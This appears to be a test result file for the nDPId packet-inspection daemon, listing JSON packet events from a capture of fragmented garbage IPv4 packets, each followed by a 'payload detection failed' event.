+00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":795,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":307810,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhUEAGRGEKAAACCoAAAk9QeyI6aGRmbGtkYT5MPE0="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":795,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":796,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":307823,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhUkAGRF8KAAACCoAAAk5CSEdGREVXI0AkJV5IQkc="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":796,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":797,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":307835,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhVEAGRF0KAAACCoAAAlYKNDIxNDYzMTk4MjA1MSk="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":797,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":798,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":307847,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhVkAGRFsKAAACCoAAAigqJl4lJCNAIyQlXiYqKCo="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":798,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":799,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":307861,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhWEAGRFkKAAACCoAAAiZeJSQjcnNkbHVoZ2tmZHM="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":799,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":800,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":307873,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhWkAGRFcKAAACCoAAAmJrbnZjLy50Z2Z0Zz9HUj8="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":800,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":801,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":307884,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhXEAGRFUKAAACCoAAAkdSP3NSPzc0ODM5NikoKiY="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":801,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":802,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":307896,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhXkAGRFMKAAACCoAAAl4lJCNAIUAjJCVeJiooKSg="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":802,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":803,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":307908,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhYEAGRFEKAAACCoAAAiomXiUkI0AjJCVeJiooKiY="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":803,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":804,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":307921,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhYkAGRE8KAAACCoAAAl4lJCMmKihLSUpIR0ZEMio="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":804,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":805,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":307934,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhZEAGRE0KAAACCoAAAiZERkdISksmXiUkIyNFVFI="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":805,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":806,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":307945,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhZkAGREsKAAACCoAAAiVZXlUmSSpPUHsiOmhkZmw="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":806,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":807,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":307957,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhaEAGREkKAAACCoAAAmtkYT5MPE1OQkhHRkRFVyM="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":807,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":808,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":307970,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhakAGREcKAAACCoAAAkAkJV5IQkdWCjQyMTQ2MzE="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":808,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":809,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":307982,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhbEAGREUKAAACCoAAAjk4MjA1MSkoKiZeJSQjQCM="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":809,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":810,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":307994,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhbkAGREMKAAACCoAAAiQlXiYqKComXiUkI3JzZGw="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":810,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":811,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":308006,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhcEAGREEKAAACCoAAAnVoZ2tmZHNia252Yy8udGc="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":811,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":812,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":308017,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhckAGRD8KAAACCoAAAmZ0Zz9HUj9HUj9zUj83NDg="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":812,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":813,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":308029,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhdEAGRD0KAAACCoAAAjM5NikoKiZeJSQjQCFAIyQ="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":813,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":814,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":308041,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhdkAGRDsKAAACCoAAAiVeJiooKSgqJl4lJCNAIyQ="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":814,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":815,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":308052,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAheEAGRDkKAAACCoAAAiVeJiooKiZeJSQjJiooS0k="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":815,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":816,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":308066,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhekAGRDcKAAACCoAAAkpIR0ZEMiomREZHSEpLJl4="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":816,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":817,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":308078,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhfEAGRDUKAAACCoAAAiUkIyNFVFIlWV5VJkkqT1A="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":817,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":818,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":308090,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhfkAGRDMKAAACCoAAAnsiOmhkZmxrZGE+TDxNTkI="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":818,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":819,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":308102,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhgEAGRDEKAAACCoAAAkhHRkRFVyNAJCVeSEJHVgo="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":819,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":820,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":308116,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhgkAGRC8KAAACCoAAAjQyMTQ2MzE5ODIwNTEpKCo="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":820,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":821,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":308130,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhhEAGRC0KAAACCoAAAiZeJSQjQCMkJV4mKigqJl4="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":821,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":822,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":308142,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhhkAGRCsKAAACCoAAAiUkI3JzZGx1aGdrZmRzYms="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":822,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":823,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":308153,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhiEAGRCkKAAACCoAAAm52Yy8udGdmdGc\/R1I\/R1I="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":823,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":824,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":308165,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhikAGRCcKAAACCoAAAj9zUj83NDgzOTYpKComXiU="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":824,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":825,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":308209,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhjEAGRCUKAAACCoAAAiQjQCFAIyQlXiYqKCkoKiY="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":825,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":826,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":308223,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhjkAGRCMKAAACCoAAAl4lJCNAIyQlXiYqKComXiU="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":826,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":827,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":308234,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhkEAGRCEKAAACCoAAAiQjJiooS0lKSEdGRDIqJkQ="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":827,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":828,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":308246,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhkkAGRB8KAAACCoAAAkZHSEpLJl4lJCMjRVRSJVk="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":828,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":829,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":308258,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhlEAGRB0KAAACCoAAAl5VJkkqT1B7IjpoZGZsa2Q="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":829,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":830,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":308269,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhlkAGRBsKAAACCoAAAmE+TDxNTkJIR0ZERVcjQCQ="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":830,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":831,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":308281,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhmEAGRBkKAAACCoAAAiVeSEJHVgo0MjE0NjMxOTg="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":831,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":832,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":308293,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhmkAGRBcKAAACCoAAAjIwNTEpKComXiUkI0AjJCU="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":832,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":833,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":308304,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhnEAGRBUKAAACCoAAAl4mKigqJl4lJCNyc2RsdWg="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":833,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":834,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":308316,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhnkAGRBMKAAACCoAAAmdrZmRzYmtudmMvLnRnZnQ="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":834,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00384{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":835,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":308328,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhoEAGRBEKAAACCoAAAmc\/R1I\/R1I\/c1I\/NzQ4Mzk="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":835,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":836,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":308340,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhokAGRA8KAAACCoAAAjYpKComXiUkI0AhQCMkJV4="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":836,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":837,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":308356,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhpEAGRA0KAAACCoAAAiYqKCkoKiZeJSQjQCMkJV4="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection 